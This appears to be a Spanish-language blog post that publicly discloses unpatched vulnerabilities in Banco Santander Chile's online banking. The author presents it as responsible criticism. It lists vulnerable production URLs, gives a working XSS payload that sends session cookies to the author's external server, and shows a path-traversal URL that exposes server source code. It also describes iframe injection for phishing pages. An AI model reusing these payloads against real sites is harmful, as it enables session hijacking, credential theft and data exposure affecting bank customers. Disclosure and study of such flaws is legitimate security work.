Hace unos meses reporté una vulnerabilidad XSS en la banca de personas del Banco Santander, la cual no ha sido corregida. Ahora, segun la campaña anunciada por parte de Secureless, retomaré este mismo bug y aprovecharé de reportar otros que hemos encontrado, además preparé unas pruebas de concepto para dejar en claro que podemos hacer y que no, explotando estas vulnerabilidades donde los unicos afectados son los clientes usuarios.
Las vulnerabilidades detectadas son del tipo XSS, encontradas en el sistema de clientes (banca de personas) y en el sitio web público.
Los scripts o urls vulnerables son:
- https://www.santander.cl/transa/errores/PagError.asp
- https://www.santander.cl/transa/productos/tc_conti/PAMPA/pcpMosTjc.asp
- https://www.santander.cl/transa/preerror.asp
Las tres con certificado ssl, permitiendo aprovecharse de la confianza que tiene el usuario sobre el sitio.
Como primera prueba de concepto, inyectaré un código html que permita crear un iframe dentro del sitio, mostrando información de un sitio remoto distinto al Santander, que perfectamente podria ser un sitio malicioso.
En este caso, en mi servidor tengo un archivo "PoC.html" y he accedido a el desde el dominio santander.cl. De esta forma podemos incluir en ese iframe un sitio que tenga una copia exacta del banco, usando el dominio de santander y la confianza del usuario.
El siguiente ejercicio, será el secuestro de cookies. El primer paso es ver la cookie usando un simple "alert" en javascript:
El primer pantallazo corresponde a una de las URL que no necesita estar logeado, el segundo es con la sesión iniciada.
Ahora enviaremos esa cookie a un servidor externo, inyectando el siguiente script:
'; } window.location.href='https://zerial.org/poc.php?cookie=' %2B document.cookie.replace('%23', '\%23');</script> &numtcrf=1&codigotc=1017&codigoalta=0150&formato=HTMY recibiendolo en mi servidor con un simple script en php que lea la variable "cookie" pasada por GET.
En el caso de no estar con la sesion iniciada, veremos algo asi:
Cuando iniciemos sesion, fijense el cambio:
El IDLOGIN cambia.
Finalmente, podemos lograr algo asi:
En la URL https://www.santander.cl se visualiza el sitio de https://www.bancoestado.cl, con un simple iframe pasado por GET a la variable y script vulnerable.
Perfectamente un atacante podria realizar algo similar, con un sitio completamente falso que se dedicara a obtener información, pedir usuario, contraseña, etc.
La siguiente dirección:
https://www.santander.cl/transa/productos/fm/VerRentabilidad.asp?Numero=
Presenta una vulnerabilidad del tipo Local File Disclosure, la cual en pocas palabras permite ver el codigo fuente de cualquier archivo alojado en la web ya sea formato .asp, php etc..
Voy a poner un ejemplo para que se entienda lo grave que es esta vulnerabilidad;
Ese link nos permite descargar archivos .PDF de la misma pagina del banco, pero no discrimina el formato ni la carpeta donde este alojado el archivo, por lo mismo si uno coloca por ejemplo
https://www.santander.cl/transa/productos/fm/VerRentabilidad.asp?Numero=../VerRentabilidad.asp
Nos va a permitir descargar el archivo mismo o cualquier otro y ver el codigo fuente..
Ojala arreglen este problema cuanto antes..
solo faltan los incautos
Ojala al menos los clientes de santander tengan mas cuidado o piensen en cambiar su banco, pues este no entrega la seguridad que debiera otorgar un Banco. Estas fallas les son beneficiosas a la vez por el concepto de venta de seguros contra robos y phishing